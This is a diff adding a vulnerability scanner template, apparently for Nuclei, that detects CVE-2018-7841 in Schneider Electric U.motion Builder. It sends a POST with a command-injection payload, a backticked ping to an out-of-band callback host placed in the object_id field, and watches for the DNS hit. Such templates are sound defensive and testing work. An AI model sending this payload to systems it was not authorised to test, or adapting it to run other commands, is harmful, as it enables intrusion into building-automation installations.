Create CVE-2018-7841.yaml

http/cve/cve2018/CVE-2018-7841.yaml

@@ -0,0 +1,63 @@
+id: CVE-2018-7841
+
+info:
+  name: Schneider Electric U.motion Builder - SQL Injection
+  author: darses
+  severity: critical
+  description: |
+    U.motion Builder 1.3.4 contains a sql_injection caused by improper input sanitization, letting attackers execute arbitrary SQL commands, exploit requires crafted input characters.
+  impact: |
+    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
+  remediation: |
+    The product has been retired and is no longer available or supported. To further protect their installations from this threat, customers should immediately remove the U.motion Builder software from their systems.
+  reference:
+    - https://www.exploit-db.com/exploits/46846
+    - https://packetstorm.news/files/id/152862
+    - https://www.rcesecurity.com/2019/05/cve-2018-7841-schneider-electric-umotion-builder-remote-code-execution-0-day
+    - https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2017-178-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2019-071-02-Umotion-Builder.pdf
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2018-7841
+    cwe-id: CWE-89
+    epss-score: 0.39097
+    epss-percentile: 0.97097
+    cpe: cpe:2.3:a:schneider-electric:u.motion_builder:1.3.4:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-requests: 1
+    vendor: schneider-electric
+    product: u.motion_builder
+    shodan-query:
+      - http.headers_hash:1985490094
+  tags: cve,cve2018,schneider-electric,sqli,kev
+
+variables:
+  oast: "{{interactsh-url}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/umotion/modules/reporting/track_import_export.php"
+
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+
+    body: |
+      op=export&language=english&interval=1&object_id=`ping -c 1 {{oast}}`
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "Content-Disposition: attachment"
+
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"